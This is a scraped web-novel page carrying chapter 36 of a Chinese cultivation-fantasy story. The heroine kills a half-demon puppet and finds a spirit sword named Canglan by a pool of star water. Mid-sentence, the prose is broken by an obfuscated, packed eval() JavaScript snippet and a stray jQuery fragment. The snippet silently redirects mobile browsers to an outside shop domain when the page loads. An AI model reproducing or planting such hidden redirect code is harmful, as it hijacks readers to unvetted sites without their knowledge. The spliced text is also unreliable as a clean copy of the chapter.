文趣网 > 都市小说 > 又被笨蛋剑灵缠上了 > 36. 沧澜
    姜时雨心里清明一瞬,之前丙寅院中的一切亦再次串联起来。

    只是,钱七褚究竟是在唤那巨蛇哥哥,还是寄生其上的闫驰?

    她来不及多想,迎面就见钱七褚伸出五爪直冲自己眼睛而来!

    夜里视线不如白天,姜时雨被钱七褚逼着只能不断向后撤步。

    钱七褚张开乌长指甲擦着姜时雨脸颊滑过,她黑眸僵硬转动,快速出手对着姜时雨的额头又出一拳。

    姜时雨蹙眉闪躲间,却在钱七褚挥臂而过时嗅到一股动物的腥臭味。

    她眉心微蹙:“钱七褚,你竟真是半妖!”

    钱七褚收住步子,最后站定在距她三步远的位置,嘴角僵硬向上翘起,笑声自小腹传来:“你比我预想的还要迟钝。”

    钱七褚:“苏酌是你杀的吧。”

    虽是疑问,她语气分明是陈述句。

    三年过去,苏酌的名字再次撞入她耳中,姜时雨额头沁出密密的汗。

    “见到你的第一面我就在你身上闻到了那瘸腿灰狼的气味。不然,以你的灵根能住得上丙寅院?”

    “让我猜猜,肯定是苏酌相中了你这幅皮囊,不过就她那点三脚猫的花架子功夫,这些年只学会剖人皮面了……”

    不过,姜时雨究竟是怎么杀掉苏酌的……

    钱七褚倏然一顿,紧盯住姜时雨,嘴角被线缝住依旧妨碍不了她声音里的戏谑。

    “不如你讲讲,你是如何杀掉她的?”

    “她先前日日炫耀的两张容貌倾城的皮面,是不是在你手里?”

    姜时雨脊背僵硬着,心里瞬间泛起一股恶寒。她冷声呵道:“钱七褚,我不明白你在说什么。”

    钱七褚讥讽依旧:“你不明白?你不明白能带着崔照熙杀了我哥!他在婆娑山病了那么久,等我带星辰之水回去救命呢!你们几人好好的药峰弟子不当,非要去婆娑山!”

    提到婆娑山,钱七褚瞬间面目狰狞,整个人都颤抖着。

    “若不是你,我也不会被无耻下作的闫骁带走,变成现在这幅模样……”

    闫骁?

    姜时雨敛神看向钱七褚,这不是飞来峰闫长老吗?

    “姜时雨,看着我变成他的傀儡,你可满意了?”

    钱七褚话音刚落,整个人就像一个滚烫的热球飞奔而出,直奔姜时雨而来。

    姜时雨扭动手腕,手中木剑也飞速而出。

    “沧澜!”

    木剑哪还有半分质朴的模样,原本圆润无伤的剑尖瞬间开刃,柔和灵力四散开来,姜时雨四周无风自起,惊落漫空花瓣。

    木剑携着灵力继续向前。

    擦过钱七褚的颈间,白骨再现,却是未有一滴鲜血。

    “看来还真要感谢闫骁这老不死的。”

    钱七褚轻哼一声,仅剩一点皮肉连接的头颅,她唇角向上,扯出略带血色的笑容:“不然还真有可能被你这虚招伤到。”

    木剑飞璇再回姜时雨手中,剑身上稳稳滞着一片洁白的梨花花瓣。

    她抬手拂下,紧接着将剑横在身前。

    钱七褚拖动僵硬的手臂,放慢动作扶正自己的头,讥讽道:“你放弃吧。”

    “我这幅躯体已经被闫驰外化炼成了傀儡,你手中这柄破剑是伤不到我的。”

    姜时雨攥紧手中的剑,感受着剑灵嗡嗡的共鸣,她抬眼看向钱七褚,撩剑而起,目光冷冽如霜,冷声道:“是吗?”

    下一刹,她转身架剑,腕花点剑翻身直奔对方而去。

    剑锋凌厉,木剑带出一抹寒光。

    两人顷刻对打在一起。

    钱七褚空有一副不知疼痛的躯体,也挡不住姜时雨手中木剑招招狠戾。

    姜时雨眼神凶狠,瞥到自己左腕的伤处,黑眸审视着钱七褚。

    对方被桃木剑几道剑气逼得连连后退。

    钱七褚手臂断裂间露出体内串联的莹润丝线,关节处溢出些许透明液体,动作也僵迟了下来。

    反守为攻!

    姜时雨找准时机不断出剑,专攻对方关节处,木剑同钱七褚躯体碰撞声不绝。

    地面落花在剑风的往复间凝成了小小的飞旋。

    钱七褚虽感觉不到疼痛,但此刻这具身体的异样又怎能察觉不出?

    她目光紧盯着姜时雨手中的木剑,外门弟子人手一把的小木剑如何能在梨园的限制下伤得到她!

    想着,钱七褚挥出一拳砸向姜时雨。

    姜时雨眼神一暗,也敛神调动全身力气挥出一剑!

    听微剑诀第二式——

    浮生若梦!

    掺杂着三年恩怨的一剑挥出,周身空气似被凝固了般。

    她凝眉清晰看到了一旁梨树的生机、梨园地下层层堆叠的阵法,以及,钱七褚那具躯体丹田处的紫色光晕……

    轰隆隆——

    一道惊雷滑过天际。

    在雷声的遮掩下,那一剑竟将钱七褚整个人居中劈成了两半!

    钱七褚黑眸怒瞪她,跪倒后体内透明液体溢了满地。

    她丹田中的紫色光晕瞬间出逃,姜时雨动作迅速,先一步将那团紫色光晕攥进手中。

    紫色光晕在她指缝中拼尽全力挣扎,声音里满是祈求:“算师姐求你了,你放过我吧。我、我也是被那蛇妖蛊惑……看在咱们同住了一年的份上,看在你方兮师姐的面子上……”

    姜时雨目光紧盯着手中的光晕,淡淡开口:“你是狐妖?”

    “是是、婆娑山的那条巨蟒是我结拜的哥哥,我也是为了救他才来的神木宗。”

    “哦。”她淡淡应了一声。

    紧接着姜时雨手上用力,无视那团光晕的嘶吼、呐喊和辱骂,彻底掐断了她的最后一丝求活的可能。

    确认对方彻底消失后,她垂眸收起小木剑,随后又从怀中掏出一小包药粉。深绿色的粉末顺着她的手倾泻而下,尽数撒在钱七褚身上。

    半刻钟后,钱七褚被药散腐蚀殆尽,在地上空留了些许白痕。

    姜时雨站在原地久久未动。

    剑灵轻声提醒:“快到时间了。”

    姜时雨微微点头,刚刚的一切都和那剑招一样,仿若大梦一场。

    剑灵关切:“你手没事吧?”

    “小伤。”

    话毕,姜时雨从怀中掏出丹药一把塞进嘴里,苦味在舌中蔓延开来。

    若真如刚刚钱七褚所说,她与山下那狼妖相识,岂不是自己手中的宗门令原就是要趁开山收徒时混入神木宗?

    还有钱七褚房中的那张屏风,其中枝桠的分布亦与婆娑山的上山路一致,这诸多巧合……恐怕六十年前神木宗弟子闫驰脱不开干系。

    又是一道惊雷。

    自天空坠下几滴细雨。

    四周满是潮湿泥土的清冽气味。

    姜时雨整个人仍处在一种紧绷的状态。

    剑灵像失了语般,少见地一路无言,她脚步微沉,整个上半身都被雨滴彻底打透,额前碎发紧贴在脸颊。

    再次站在梨园巨树下,她竟感觉不到自己的心跳。

    此前三年,她不悔。

    剑灵语气也不似之前的玩闹,“到了。”

    姜时雨闻言笑问:“小桃木剑还是沧澜剑?”

    剑灵似是没听到她的疑问,声音略带些沙哑:“你将手放在梨树上便可。”

    姜时雨定了定神,右手覆上前去,触碰之处泛起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769367|206514||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    些许青绿涟漪,脚下灵阵也在逐渐变化。

    她慢慢闭眼,等待着传送阵的剧烈颠簸。

    三息过去……

    没有出现预想中传送时的翻天覆地。

    相反,姜时雨感觉自己脚下都轻飘飘的,整个人像踩在云端,就连身边的景物也不再是晃过,整个传送阵似乎同她的意识相连。

    这个念头刚冒出,她气息都乱了些。

    直至指甲刺痛掌心,姜时雨才定神看清了面前粗壮盘旋的树根。

    她下意识屏住呼吸,目光紧盯着面前瑰丽的场景,美得像一幅画。

    梨树深埋地底的树根在此地撑出了个不大的密室,根系笼罩下却是汪深见不到底的深潭,潭边密密麻麻满是流转变化的金色封印纹路……

    整个洞府的光源恰都源自岸旁的金色封印,姜时雨一眼看去,便觉得心里发慌,借着金光勉强直视最中央竖直而立的灵剑。

    她眯着眼,灵剑上的纹路同初见时别无二致。

    姜时雨不忘崔照熙交代的事情,问道:“这就是崔照熙要找的星辰之水吗?”

    “嗯,星辰之水对提升修为有奇效。”剑灵嗓音带着蛊惑,“你想尝尝吗?”

    姜时雨冷脸拒绝,从怀中拿出提前备好的细口尖瓶。

    衣袖垂落,她小心敛起,躲着金光将尖瓶贴近水面。

    壶内发出咕噜咕噜的响声。

    下一刹,剑灵的呼吸声清浅,伴着水声一同清晰传入姜时雨耳中。

    时间好像在二人之间静止了。

    良久,手中细瓶装满。

    她眼不自觉地弯了,斟酌道:“沧澜,我好像见过你。”

    剑灵声音不似之前沉静,略有些沙哑:“是吗?”

    她点了点头,目光转向正中央的那柄黑金长剑。

    “嗯,见过。”姜时雨一顿,话音一转,“所以,小桃木剑在哪?”

    剑灵:“……”

    她话音刚落,耳边那道呼吸声也消失了踪迹。

    “……”剑灵声音里带着些许幽怨,“在你头顶。”

    “头顶?”姜时雨惊讶道。

    她心里还惦念着小桃木剑旁生死未卜的聂双衡。

    “拿到那柄沧澜剑。”

    “我带你去。”

    姜时雨怔了一下,目光随之转移到那潭深渊中,问道:“现在的问题是,没有灵力,要怎么越过这潭星辰之水?”

    她看着两边距离,约摸得有五步远,更别提岸旁刻满未知封印的石头了。

    在她的视线里,面前星辰之水拂动,耀眼的蓝光不断在她眼中晃动,水波层叠,注定难越。

    剑灵笑声清澈:“谁说让你走过去了。”

    姜时雨蹙眉,手撑在一旁树根上,话到嘴边还没来得及说出口。

    剑灵又道:“你唤它名字试试?”

    沧澜吗?

    不知为何,姜时雨感觉这两个字在自己嘴间反复打转,却很难唤出口。

    她摸不清这股没由来的胆怯究竟是打哪冒出来的。

    偌大的根室明明只她一人。

    ……还有剑灵。

    姜时雨双手绞紧,再三张口,落到最后终是声音清浅,听不出半分情绪。

    “沧澜……”

    面前的金色封印顷刻消失,四周漆黑一片,耳边只剩滴答的水声。

    她心颤了一下。

    “叮铃——”

    铃铛声传来,姜时雨恍惚回头。

    却见身后站着一位如珠玉般半透明的少年,他满身坠满各色晶莹珠翠,墨发垂在身后,眼尾那颗泪痣晃进她眼中。

    他脸上带着柔和的笑,郑重道:“我是沧澜。”